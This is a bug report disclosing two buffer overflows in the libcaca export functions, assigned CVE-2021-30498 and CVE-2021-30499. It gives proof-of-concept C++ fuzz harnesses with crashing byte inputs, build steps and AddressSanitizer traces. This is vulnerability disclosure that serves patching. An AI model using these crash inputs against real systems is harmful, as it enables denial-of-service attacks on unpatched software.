Issues have been assigned numbers CVE-2021-30498、CVE-2021-30499

** CVE added: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-30498

** CVE added: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-30499

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https://bugs.launchpad.net/bugs/1923273

Title:
  buffer-overflow on libcaca-0.99.beta20/export.c export_tga,
  export_troff

Status in libcaca package in Ubuntu:
  New

Bug description:
  Hello Ubuntu Security Team
  I use libfuzzer to test libcaca api .I found two crash

  - https://github.com/cacalabs/libcaca/issues/53

  - https://github.com/cacalabs/libcaca/issues/54

  ------------------------------------------------------------------------
  ## Vendor of Product
  https://github.com/cacalabs/libcaca

  ------------------------------------------------------------------------
  ## Affected Product Code Base
  libcaca e4968ba
  ------------------------------------------------------------------------
  ## Affected Component
  affected component:libcaca.so
  ------------------------------------------------------------------------
  ## Affected source code file
  affected source code file(As call stack):

     ->caca_export_canvas_to_memory()      in
  libcaca/caca/codec/export.c

         ->caca_export_memory()                    in
  libcaca/caca/codec/export.c

             -> export_tga()                                in  
libcaca/caca/codec/export.c
            
            -> export_troff()                               in  
libcaca/caca/codec/export.c

  ------------------------------------------------------------------------     
  ## Attack Type
  Context-dependent

  ------------------------------------------------------------------------
  ## Impact Denial of Service
  true

  ------------------------------------------------------------------------
  ## Reference
  https://github.com/cacalabs/libcaca

  ------------------------------------------------------------------------
  ## Discoverer
  fdgnneig

  ------------------------------------------------------------------------
  ## Verification process and POC

  ### Verification steps:

  1.Get the source code of libcaca:

  2.Compile the libcaca.so library:

  ```shell
  $ cd libcaca
  $ apt-get install automake libtool pkg-config -y
  $ ./bootstrap
  $ ./configure
  $ make

  3.Run POC.sh to compile poc_troff.cc 、poc_tga.cc

  4.Run POC

  ------------------------------------------------------------------------
  POC.sh
  ```
  cat << EOF > poc_troff.cc
  #include "config.h"
  #include "caca.h"
  //#include "common-image.h"
  #include <assert.h>
  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  #include <fstream>
  #include <iostream>

  using namespace std;

  extern "C"  int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t
  Size) {

   if(Size<8) return 0;
   size_t len=0;
   char* buffer = (char*)malloc(Size+1);
   memset(buffer,0,Size);
   memcpy(buffer,Data,Size);
   buffer[Size]='\0';
   caca_canvas_t *cv;
   cv = caca_create_canvas(0,0);
   for(int i=0;i<4;i++)
         caca_create_frame(cv,0);
   for(int i=0;i<4;i++){
         caca_set_frame(cv,i);
         caca_import_canvas_from_memory(cv,buffer,strlen(buffer),"");
   }
   void* reData = caca_export_canvas_to_memory(cv,"troff",&len);
   if(reData!=NULL) free(reData);
   caca_free_canvas(cv);
   cv=NULL;
   free(buffer);
   buffer=NULL;

  }

  
  int main(int args,char* argv[]){

         size_t  len = 0;
         unsigned char buffer[] = 
{0x5f,0x20,0x6f,0x75,0x6e,0x64,0x0a,0x40,0x11};
         len = sizeof(buffer)/sizeof(unsigned char);
         LLVMFuzzerTestOneInput((const uint8_t*)buffer,len);
         printf("%d\n",sizeof(buffer)/sizeof(unsigned char));

         return 0;

  }
  EOF

  clang++ -g poc_troff.cc -O2 -fno-omit-frame-pointer -fsanitize=address
  -I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/  -o
  poc_troff

  
  cat << EOF > poc_tga.cc
  #include "config.h"
  #include "caca.h"
  #include <assert.h>
  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  #include <fstream>
  #include <iostream>

  using namespace std;

  extern "C"  int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t
  Size) {

   if(Size<8) return 0;
   size_t len=0;
   char* buffer = (char*)malloc(Size+1);
   memset(buffer,0,Size);
   memcpy(buffer,Data,Size);
   buffer[Size]='\0';
   caca_canvas_t *cv;
   cv = caca_create_canvas(0,0);
   for(int i=0;i<4;i++)
         caca_create_frame(cv,0);
   for(int i=0;i<4;i++){
         caca_set_frame(cv,i);
         caca_import_canvas_from_memory(cv,buffer,strlen(buffer),"");
   }
   void* reData = caca_export_canvas_to_memory(cv,"tga",&len);
   if(reData!=NULL) free(reData);
   caca_free_canvas(cv);
   cv=NULL;
   free(buffer);
   buffer=NULL;
         return 0;
  }

  int main(int args,char* argv[]){

         size_t  len = 0;
         unsigned char buffer[] = 
{0x00,0xff,0xff,0x23,0x64,0x72,0x23,0x20,0x11};
         len = sizeof(buffer)/sizeof(unsigned char);
         LLVMFuzzerTestOneInput((const uint8_t*)buffer,len);
         printf("%d\n",sizeof(buffer)/sizeof(unsigned char));

         return 0;
  }
  EOF

  clang++ -g poc_tga.cc -O2 -fno-omit-frame-pointer -fsanitize=address  
-I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/  -o poc_tga
  ```
  ------------------------------------------------------------------------
  The output is as follows
  ```shell
  ==1845495==ERROR: AddressSanitizer: heap-buffer-overflow on address 
0x603000000022 at pc 0x7f905c1bf440 bp 0x7ffdb0a31310 sp 0x7ffdb0a31308
  WRITE of size 1 at 0x603000000022 thread T0
     #0 0x7f905c1bf43f in export_tga 
/home/hh/Downloads/libcaca/caca/codec/export.c:961:12
     #1 0x7f905c1bf43f in caca_export_memory 
/home/hh/Downloads/libcaca/caca/codec/export.c:117:16
     #2 0x4c6d46 in LLVMFuzzerTestOneInput 
/home/hh/Downloads/libcaca/poc_tga.cc:29:18
     #3 0x4c6e1c in main /home/hh/Downloads/libcaca/poc_tga.cc:44:2
     #4 0x7f905bc0e0b2 in __libc_start_main 
/build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
     #5 0x41c39d in _start (/home/hh/Downloads/libcaca/poc_tga+0x41c39d)

  0x603000000022 is located 0 bytes to the right of 18-byte region 
[0x603000000010,0x603000000022)
  allocated by thread T0 here:
     #0 0x494add in malloc (/home/hh/Downloads/libcaca/poc_tga+0x494add)
     #1 0x7f905c1be0eb in export_tga 
/home/hh/Downloads/libcaca/caca/codec/export.c:944:18
     #2 0x7f905c1be0eb in caca_export_memory 
/home/hh/Downloads/libcaca/caca/codec/export.c:117:16
     #3 0x4c6d46 in LLVMFuzzerTestOneInput 
/home/hh/Downloads/libcaca/poc_tga.cc:29:18
     #4 0x4c6e1c in main /home/hh/Downloads/libcaca/poc_tga.cc:44:2
     #5 0x7f905bc0e0b2 in __libc_start_main 
/build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16

  SUMMARY: AddressSanitizer: heap-buffer-overflow 
/home/hh/Downloads/libcaca/caca/codec/export.c:961:12 in export_tga
  Shadow bytes around the buggy address:
   0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
   0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
   0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
   0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
   0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  =>0x0c067fff8000: fa fa 00 00[02]fa fa fa fa fa fa fa fa fa fa fa
   0x0c067fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
   0x0c067fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
   0x0c067fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
   0x0c067fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
   0x0c067fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  Shadow byte legend (one shadow byte represents 8 application bytes):
   Addressable:           00
   Partially addressable: 01 02 03 04 05 06 07 
   Heap left redzone:       fa
   Freed heap region:       fd
   Stack left redzone:      f1
   Stack mid redzone:       f2
   Stack right redzone:     f3
   Stack after return:      f5
   Stack use after scope:   f8
   Global redzone:          f9
   Global init order:       f6
   Poisoned by user:        f7
   Container overflow:      fc
   Array cookie:            ac
   Intra object redzone:    bb
   ASan internal:           fe
   Left alloca redzone:     ca
   Right alloca redzone:    cb
   Shadow gap:              cc
  ==1845495==ABORTING
  ```
  ```shell
  ==1845916==ERROR: AddressSanitizer: global-buffer-overflow on address 
0x7f28d47e8140 at pc 0x7f28d46fb799 bp 0x7ffe8c4ce450 sp 0x7ffe8c4ce448
  READ of size 8 at 0x7f28d47e8140 thread T0
     #0 0x7f28d46fb798 in export_troff 
/home/hh/Downloads/libcaca/caca/codec/export.c:1029:48
     #1 0x7f28d46fb798 in caca_export_memory 
/home/hh/Downloads/libcaca/caca/codec/export.c:120:16
     #2 0x4c6d46 in LLVMFuzzerTestOneInput 
/home/hh/Downloads/libcaca/poc_troff.cc:29:18
     #3 0x4c6e1c in main /home/hh/Downloads/libcaca/poc_troff.cc:44:2
     #4 0x7f28d414a0b2 in __libc_start_main 
/build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
     #5 0x41c39d in _start (/home/hh/Downloads/libcaca/poc_troff+0x41c39d)

  0x7f28d47e8140 is located 0 bytes to the right of global variable 
'ansi2troff' defined in 'codec/export.c:1015:33' (0x7f28d47e80c0) of size 128
  SUMMARY: AddressSanitizer: global-buffer-overflow 
/home/hh/Downloads/libcaca/caca/codec/export.c:1029:48 in export_troff
  Shadow bytes around the buggy address:
   0x0fe59a8f4fd0: 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9 00 00 00 00
   0x0fe59a8f4fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
   0x0fe59a8f4ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
   0x0fe59a8f5000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
   0x0fe59a8f5010: 00 00 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00
  =>0x0fe59a8f5020: 00 00 00 00 00 00 00 00[f9]f9 f9 f9 00 00 00 00
   0x0fe59a8f5030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
   0x0fe59a8f5040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
   0x0fe59a8f5050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
   0x0fe59a8f5060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
   0x0fe59a8f5070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  Shadow byte legend (one shadow byte represents 8 application bytes):
   Addressable:           00
   Partially addressable: 01 02 03 04 05 06 07 
   Heap left redzone:       fa
   Freed heap region:       fd
   Stack left redzone:      f1
   Stack mid redzone:       f2
   Stack right redzone:     f3
   Stack after return:      f5
   Stack use after scope:   f8
   Global redzone:          f9
   Global init order:       f6
   Poisoned by user:        f7
   Container overflow:      fc
   Array cookie:            ac
   Intra object redzone:    bb
   ASan internal:           fe
   Left alloca redzone:     ca
   Right alloca redzone:    cb
   Shadow gap:              cc
  ==1845916==ABORTING
  ```shell

  Tanks

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